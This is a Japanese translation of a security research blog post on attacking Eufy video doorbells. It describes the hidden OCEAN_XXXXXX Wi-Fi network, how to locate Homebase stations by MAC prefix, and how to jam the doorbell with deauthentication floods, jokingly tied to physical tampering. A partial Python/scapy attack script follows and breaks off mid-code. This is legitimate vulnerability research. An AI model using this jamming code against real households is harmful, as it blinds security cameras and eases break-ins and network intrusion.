セキュリティ
ドアベルからホームネットワークまで
From your doorbell to your home network (adepts.of0x.cc)
要約
この記事は、Eufy製ビデオドアベルのセキュリティ研究について詳述しています。研究者は、ドアベルが通信に使用する隠しWi-Fiネットワークの脆弱性を発見し、ネットワークへの侵入、通信の傍受、さらにはドアベルの機能停止(ジャミング)が可能であることを示しました。これにより、物理的な接近やメモリダンプといった攻撃への道が開かれる可能性が指摘されています。
全文翻訳
親愛なる仲間の皆さん、フクロウたちが暇な時間を見つけてハッキングに戻ることができたことをお知らせできることを嬉しく思います。この2年間の休止期間を経て、私たちはこの謙虚なデジタルの説教壇から新しい説教を説くことを嬉しく思います。どうぞ、席についてこの話を聞いてください。
目次
この記事は通常私が書くものよりもかなり長くなるため、この目次を使用すると、最も興味のあるセクションに直接ジャンプして残りをスキップできます。もちろん、この小さなフクロウはあなたがすべて読んでくれることを望んでいます。
0x00 前文。
この研究がどのように始まったかについての紹介。技術的な詳細のみに興味がある場合は自由にスキップできます。
0x01 エコシステム入門。
製品、そのコンポーネント、およびそれらがどのように関連しているかについての簡単な説明。
0x02 ジャミング。
ドアベルを「管理」ネットワークからリモートで切断し、ビデオ/オーディオのストリーミングを回避できます。低品質の概念実証が提供されます。
0x03 サウンドウェーブ同期プロトコル。
ドアベルとホームベースを同期するために使用されるサウンドウェーブプロトコルのリバースエンジニアリング。
0x04 メモリダンプからOCEAN_XXXXXX認証情報を抽出および復号化。
ドアベルが隠しネットワークに接続するために使用する認証情報を含む暗号化された設定ファイルを復元およびリバースエンジニアリングしました。
0x00 前文
昨年6月、EuskalHack会議で講演する機会がありました(私の講演は、ad-joined Linux環境についての簡単な101でした)。コンピュータサイエンスの修士号を取得しようとしていた義理の兄を連れて行きました(学士号に加えて、彼らは今や資格のある修士プログラムを完了する必要があるようです)。そして、ハッキングの世界を少し見せ、興味を spark させようと思いました。そして幸運にも、Pepelux氏のビデオインターコムのハッキング方法に関する講演が彼の興味を強く引きました。そこで、この興味を利用して、夏の間にガジェットをハッキングして学習演習にすることを提案しました。ターゲットを絞るのに数週間かかりましたが、ある日、素晴らしい街を歩いていると、ビデオドアベルの多さに気づきました。残念ながら、私の街は現代の癌に感染しています。それは、チェックされていない観光と、短期賃貸による地域社会生活の破壊です。それは成長し、私たちの近所の社会構造に壊死を引き起こす腫瘍です。そこで、私は当然のことをしました…それらに最も一般的に使用されているモデルを特定し、それをハッキングしようとしました :) そのようにして、「Eufy Security Video Doorbell」エコシステムに照準を合わせました。
0x01 エコシステム入門
この「Eufy Security Video Doorbell」をインターネットで購入しました。箱に見られるように、それは2つの部分で構成されています。「Homebase Station 2」と「Doorbell」自体です。Homebaseはセントラルハブとして機能し、ユーザーがインターネット(Wi-Fiまたはイーサネットケーブル経由)に接続するものです。一方、ビデオドアベルはあなたのドアに設置されます。ドアベル(そしておそらくEufyに関連する他の製品)は、隠しWi-Fiを介してHomebaseステーションと通信します。
製品ボックスには2つのコンポーネントが表示されています。
私が箱に、あなたの隣人を24時間年中無休で録画していると伝える美しいステッカーが含まれていることをほとんど忘れました。
24時間年中無休のビデオ録画
Homebaseステーション:
Homebase Station 2
ドアベル:
Doorbell
すべてはモバイルアプリから制御されます。Homebaseと通信したり、新しいデバイスを追加したり、ドアベルと通信したり、期待される典型的なすべてのことができます。この同じエコシステムについて、「Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols」というUSENIXの講演がありました。この講演では、著者らはHomebaseがデバイスを管理するために使用する隠しネットワークで使用される事前共有キー(PSK)を生成する際の低エントロピーに焦点を当てました(また、P2Pプロトコルの詳細な調査も行いました)。この研究は2023年に行われ、Eufyは多くの変更を加えました(例えば、PSKはもはや8バイトではなくなりました。後で説明します)。しかし、一つ確かなことは、隠しネットワークはOCEAN_XXXXXXと呼ばれ、サフィックスはHomebaseのMACアドレスの最後の24ビットであるということです。
私の4歳のデザインスキルで作成された次の図は、各要素の役割を視覚化するのに役立ちます。
ネットワーク図
ドアベル(そしておそらく他のEufyデバイス)は、ある時点でインターネットと通信する必要があるため、Homebaseステーションはゲートウェイとして機能し、その隠しネットワークに(後で議論するように)接続すると、自由にブラウズできます。また、ネットワーク内の他のすべての要素(例えば、ルーターのWebインターフェース)にもアクセスできます。
0x02 ジャミング
私が考えた最も明白なことは…これが標準的なWPA2を保護なしで使用しているなら…それは無効化パケットに対して脆弱でしょうか?答えは「はい、もちろんです」です。リモートで無効化パケットをフラッドすることで、隠しネットワークから切断させることができます。これにより、ビデオ/オーディオはローカルに記録されますが、Homebase/モバイルアプリにストリーミングされません。これは、物理的に接近して、石でウェルネスマッサージを適用する興味深い方法になります。または、それを開いて、メモリをダンプし、誰もあなたがそれを操作したことを知らないように閉じるためです。
明白な免責事項:私は破壊行為の commission を扇動しているわけではありません。私は単に脅威モデリングについて話しているだけです。
Homebaseの存在を特定するのは簡単です。なぜなら、そのMACアドレスの最初の24ビットは既知だからです(ドアベルとHomebaseの両方が同じプレフィックスを使用しています):90:bf:d9。古いAlfa Wi-Fiアンテナをほこりから払い、バッテリー駆動のRaspberry Piに接続し、探しているMACアドレスと一致するステーションからのビーコンを見つけるために歩き回ることができます。次に、それがどのチャネルを使用しているかを取得し、OCEAN_XXXXXXを構築したプローブ要求を、見たMACアドレスの最後の24ビットで送信します。プローブ応答が得られれば、Homebaseがあることがわかり、そのネットワークにブロードキャスト無効化パケットを送信できます。
このプロセスを要約する低品質のスクリプトを以下に示します。
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11Elt
from scapy.layers.dot11 import RadioTap
import subprocess, time
ch = None
ssid = None
bssid = None
iface = "wlan1"
whale_mac = None
whale_ssid = None
def banner():
print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n")
print('''
_==| _==|
)__) | )_)
)___) )) )__)
)____))_) _ )
)____)_____))__)\
\\---__|____/|___|___-\\--- ^^^^^^^^^\ oo oo oo oo /~~^^^^^^^ ~^^^^ ~~~~^^~~~~^^~~^^~~~~~ ~~^^ ~^^~ ~^~ ~^ ~^ ~^~~ ~~~^^~
''')
def beacon_handler(pkt):
global ch
global ssid
global bssid
if ch is not None:
return
if not pkt.haslayer(Dot11):
return
d = pkt[Dot11]
if d.type != 0 or d.subtype not in (5,8):
return
if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9":
cur = pkt
while True:
cur = cur.payload
if cur is None or cur == NoPayload:
return
if isinstance(cur, Dot11Elt) and cur.ID == 3:
if len(cur.info) >= 1:
ch = cur.info[0]
ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","")
bssid = d.addr2.upper()
break
if ch != None:
print("[*\] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!")
return
else:
return
else:
return
def set_channel(mon_iface):
subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def build_req():
global ssid
global bssid
rt = RadioTap()
dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid)
probe_req = (
rt /
dot11 /
Dot11Elt(ID=0, info=ssid.encode()) /
Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) /
Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) /
Dot11Elt(ID=3, info=bytes([2])) /
Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) /
Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18]))
)
cur = probe_req
while True:
cur = cur.payload
if cur is None or cur == NoPayload:
break
if isinstance(cur, Dot11Elt) and cur.ID == 3:
cur.info = bytes([ch])
break
return probe_req
def handle_probe_resp(pkt):
global whale_mac
global whale_ssid
if whale_mac != None:
return
if not pkt.haslayer